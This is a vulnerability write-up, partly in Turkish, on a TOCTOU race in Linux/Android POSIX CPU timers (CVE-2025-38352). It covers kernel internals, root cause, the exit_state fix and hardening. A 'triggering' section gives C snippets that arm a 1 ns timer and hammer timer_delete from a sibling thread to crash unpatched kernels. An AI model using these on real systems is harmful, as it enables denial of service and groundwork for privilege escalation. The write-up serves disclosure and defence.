POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Reading time: 7 minutes

Bu sayfa, Linux/Android POSIX CPU timers'daki bir TOCTOU yarış durumunu belgeler; bu durum timer durumunu bozabilir ve kernel'in çökmesine neden olabilir ve bazı durumlarda privilege escalation yönünde kullanılabilir.

• Etkilenen bileşen: kernel/time/posix-cpu-timers.c
• İlkel: expiry vs deletion race under task exit
• Yapılandırmaya duyarlı: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Kısa iç yapı özeti (exploitation için ilgili)

• Timerların muhasebesini cpu_clock_sample() aracılığıyla yöneten üç CPU saati:
• CPUCLOCK_PROF: utime + stime
• CPUCLOCK_VIRT: sadece utime
• CPUCLOCK_SCHED: task_sched_runtime()
• Timer oluşturma, bir timer'ı bir task/pid'ye bağlar ve timerqueue düğümlerini başlatır:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

• Arming, per-base timerqueue'ye ekleme yapar ve next-expiry cache'i güncelleyebilir:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

• Hızlı yol, önbelleğe alınmış sona erme bilgileri olası tetiklemeyi gösterdiği durumlar dışında pahalı işlemlerden kaçınır:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

• Expiration, süresi dolmuş zamanlayıcıları toplar, bunları tetiklenmiş olarak işaretler, kuyruğun dışına taşır; gerçek teslimat ertelenir:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

İki zaman aşımı işleme modu

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: sona erme hedef görevde task_work aracılığıyla ertelenir
• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: sona erme doğrudan IRQ bağlamında işlenir

void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk);                  // IRQ-context path
lockdep_posixtimer_exit();
}
#endif

IRQ-context path'te, firing list sighand dışında işlenir.

static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags);              // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing;         // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}

Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit Preconditions

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
• The target task is exiting but not fully reaped
• Another thread concurrently calls posix_cpu_timer_del() for the same timer

Sequence

1. update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2. collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3. handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4. Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5. In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.

Why TASK_WORK mode is safe by design

• With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
• Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.

Fix (Android common kernel) and rationale

• Add an early return if current task is exiting, gating all processing:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

• Bu, çıkmakta olan görevler için handle_posix_cpu_timers()'e girilmesini engeller; böylece posix_cpu_timer_del()'in it.cpu.firing'i kaçırabileceği ve expiry işleme ile yarışabileceği pencere ortadan kalkar.

Impact

• Eşzamanlı sona erme/silme sırasında timer yapılarının kernel belleğinin bozulması, anında çöküşlere (DoS) yol açabilir ve keyfi kernel-durumu manipülasyonu fırsatları nedeniyle yetki yükseltmeye yönelik güçlü bir primitive sağlar.

Triggering the bug (safe, reproducible conditions) Build/config

• CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n olduğundan emin olun ve exit_state gating fix'i içermeyen bir kernel kullanın.

Runtime strategy

• Çıkmak üzere olan bir iş parçacığını hedefleyin ve ona bir CPU timer iliştirin (per-thread veya process-wide clock):
• For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
• For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
• Çok kısa bir ilk expiration ve küçük bir interval ile silahlandırın; böylece IRQ-path girişlerini maksimize edin:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

• Bir kardeş thread'ten, hedef thread çıkarken aynı timer'ı eşzamanlı olarak silin:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

• Race artırıcıları: yüksek scheduler tick hızı, CPU yükü, tekrarlayan thread çıkış/yeniden oluşturma döngüleri. Çökme tipik olarak, unlock_task_sighand()'den hemen sonra task lookup/locking başarısız olduğunda posix_cpu_timer_del() firing'i kaçırdığında ortaya çıkar.

Tespit ve sertleştirme

• Önlem: exit_state guard'ını uygulayın; mümkünse CONFIG_POSIX_CPU_TIMERS_TASK_WORK'u etkinleştirmeyi tercih edin.
• Gözlemlenebilirlik: unlock_task_sighand()/posix_cpu_timer_del() etrafına tracepoints/WARN_ONCE ekleyin; it.cpu.firing==1 gözlemlendiğinde ve aynı zamanda cpu_timer_task_rcu()/lock_task_sighand() başarısız olduğunda uyarı verin; task çıkışı çevresinde timerqueue tutarsızlıklarını izleyin.

Denetim sıcak noktaları (inceleyenler için)

• update_process_times() → run_posix_cpu_timers() (IRQ)
• __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
• collect_timerqueue(): ctmr->firing'i ayarlar ve düğümleri taşır
• handle_posix_cpu_timers(): firing döngüsünden önce sighand'i düşürür
• posix_cpu_timer_del(): it.cpu.firing'e dayanarak uçuşta olan timeout'ı tespit eder; task lookup/lock exit/reap sırasında başarısız olduğunda bu kontrol atlanır

Sömürme araştırması notları

• Açıklanan davranış güvenilir bir kernel çökme primitive'idir; bunu privilege escalation'a dönüştürmek genellikle bu özetin kapsamı dışında kalan ek bir kontrol edilebilir çakışma (object lifetime veya write-what-where etkisi) gerektirir. Herhangi bir PoC'yi potansiyel olarak kararsızlaştırıcı kabul edin ve yalnızca emulators/VMs üzerinde çalıştırın.

Referanslar

• Race Against Time in the Kernel’s Clockwork (StreyPaws)
• Android security bulletin – September 2025
• Android common kernel patch commit 157f357d50b5…